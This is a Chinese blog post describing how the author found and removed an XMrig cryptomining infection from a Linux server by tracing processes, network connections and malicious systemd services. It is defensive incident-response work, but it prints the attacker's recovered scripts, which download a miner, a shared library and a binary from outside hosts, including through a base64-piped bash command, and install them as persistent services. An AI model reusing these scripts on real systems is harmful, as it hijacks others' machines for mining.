Xmrig挖矿入侵服务器排查

本文详细描述了如何排查并处理服务器遭受XMrig挖矿软件的入侵,包括检查进程、网络连接、文件操作、服务管理以及识别和移除可疑的自启动脚本。
摘要由CSDN通过智能技术生成

Xmrig挖矿入侵服务器排查

type: Post
status: Published
date: 2024/03/19
slug: 240319-xmrig
tags: 建站, 开发, 推荐
category: 技术分享

契机

问题

Untitled

排查思路

#上去服务器先看看这个文件
ps aux | grep xmrig

Untitled

#排查下pid关联的文件 -> 没啥收获
ll /proc/{pid}/fd 
#查看网络链接,记住关键ip
netstat -tunap | grep {pid}
#kill再说
kill -9 {pid}
#然后全局查找文件(这里要记住文件大概什么时候创建的)
find / -name xmrig
#rm -rf xmrig相关
rm -rf {xxxx}
#检查下定时任务,该取消就取消
crontab -l
#再检查下xmrig相关后台程序 -> 我这里使用xmrig关键字没搜到
systemctl list-units --type=service  | grep xmrig

不出意外的话,5分钟后xmrig又被拉起来了,现在我们知道他有守护程序了。

#查询服务器网络链接,看起来可疑ip记录下pid
netstat -tunap 
#看看所有的程序
ps aux
#以上两个步骤我基本确定下面这个pid很可疑,在看下文件创建时间,与xmrig创建时间一致
/opt/sysetmd 9x25 481.x1.x1.4x
#依然看看关联文件->没收获
ll /proc/{pid}/fd 
#再kill掉
kill -9 {pid}
#删除文件sysetmd相关
rm -rf {xxxx}
#再去找自启动服务 这个确实找到了
systemctl list-units --type=service  | grep sysetmd

Untitled

#直接给他停掉
systemctl stop  sysetmd.service
systemctl disable sysetmd.service
rm -f /etc/systemd/system/sysetmd.service

额外收获,发现/etc/systemd/system下有个自启动的service名字和创建时间很可疑

Untitled

#cat查看下
cat monero.service

#文件内容如下,发现xmrig就是这个拉起来的
[Unit]
Description=Monero miner service node

[Service]
ExecStart=/root/xmrig-6.21.1/xmrig --donate-level 1 -o xxxxxxx
Restart=always

[Install]

#直接给他停掉
systemctl stop  monero.service
systemctl disable monero.service
rm /etc/systemd/system/monero.service

#然后持续观察以下内容
ps aux 
top -c
netstat -tunap 

最后防止还有其他守护程序被拉起来,再看看对应时间点有哪些文件增加

#查找某个时间段的文件
#忽略/proc文件夹
find / -type d \( -path /proc -o -path /var/lib/docker -o -path /mnt/www/docker -o -path /usr/local/aegis  \) -prune -o -type f -newermt "2024-03-18 00:00:00" ! -newermt "2024-03-19 00:00:00" -print

Untitled

#找到wawa.sh和update_udp.sh很可疑

#wawa.sh如下
cd /root;
wget http://1187xxxxxom/xmrig-6.21.1-linux-static-x64.tar.gz;
tar -zxvf xmrig-6.21.1-linux-static-x64.tar.gz;
systemctl stop monero.service;
rm -rf /etc/systemd/system/monero.service;
wget http://xxxxon/monero.service;
sysctl -w vm.nr_hugepages=$((1168+$(nproc)));
mv monero.service /etc/systemd/system/monero.service;
systemctl daemon-reload;
systemctl enable monero.service;
systemctl start monero.service

#update_udp.sh如下
echo "xxxx==base64encodeexxxxxx"|base64 -di|bash -s
#base64解谜如下
curl -s http:/x7/libhv.so -o /opt/libhv.so;
cp /opt/libhv.so /usr/lib/libhv.so;
cp /opt/libhv.so /usr/lib64/libhv.so;
curl -s http://bpxysetmd -o /opt/sysetmd;
chmod 777 /opt/sysetmd;
curl -s http://bpgx27/sysetmd.service -o /etc/systemd/system/sysetmd.service;systemctl daemon-reload;
systemctl enable sysetmd.service;
systemctl start sysetmd.service;

发现和我清除的一致,再持续观察一段时间,还有这个人是真的蠢,为什么部署sh还要留下

总结

  • 找被黑时间左右的所有文件一个一个排查
  • 找文件关联pid
  • 找pid关联fd,端口,ip等
  • 找相关service,排查异常servcie,定时任务全部停止
  • 持续观察cpu,网络等信息

写到最后

  • https://bothsavage.github.io/
    

Untitled

  • 7
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
服务器挖矿病毒是指黑客通过入侵服务器,利用服务器的计算资源进行加密货币挖矿。这种病毒的存在会导致服务器性能下降,甚至导致服务器崩溃。以下是排查服务器挖矿病毒的过程。 1. 检查CPU和内存使用率 服务器挖矿病毒会占用服务器的大量计算资源,导致CPU和内存使用率异常升高。通过检查系统监视器或者运行top命令,可以查看当前的CPU和内存使用率,如果发现异常升高,则很可能是服务器挖矿病毒导致的。 2. 检查网络流量 服务器挖矿病毒需要与矿池进行通信,因此会产生大量的网络流量。通过检查网络监视器或者运行iftop命令,可以查看当前的网络流量,如果发现异常升高,则很可能是服务器挖矿病毒导致的。 3. 检查进程列表 服务器挖矿病毒会在服务器上运行挖矿程序,因此会在进程列表中留下痕迹。通过运行ps命令,可以查看当前的进程列表,如果发现有可疑的进程,则很可能是服务器挖矿病毒导致的。 4. 检查系统日志 服务器挖矿病毒会在服务器上留下痕迹,因此可以通过检查系统日志来发现异常行为。通过查看/var/log/auth.log、/var/log/syslog等系统日志文件,可以查找异常登录或者异常命令执行的记录,如果发现可疑行为,则很可能是服务器挖矿病毒导致的。 5. 检查防火墙日志 服务器挖矿病毒需要与矿池进行通信,因此需要打开服务器的防火墙端口。通过检查防火墙日志,可以查看服务器上的网络连接情况,如果发现与矿池的连接,则很可能是服务器挖矿病毒导致的。 以上是排查服务器挖矿病毒的基本过程,如果发现服务器确实感染了挖矿病毒,则需要及时采取措施清除病毒,并加强服务器的安全防护措施,避免类似的攻击再次发生。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值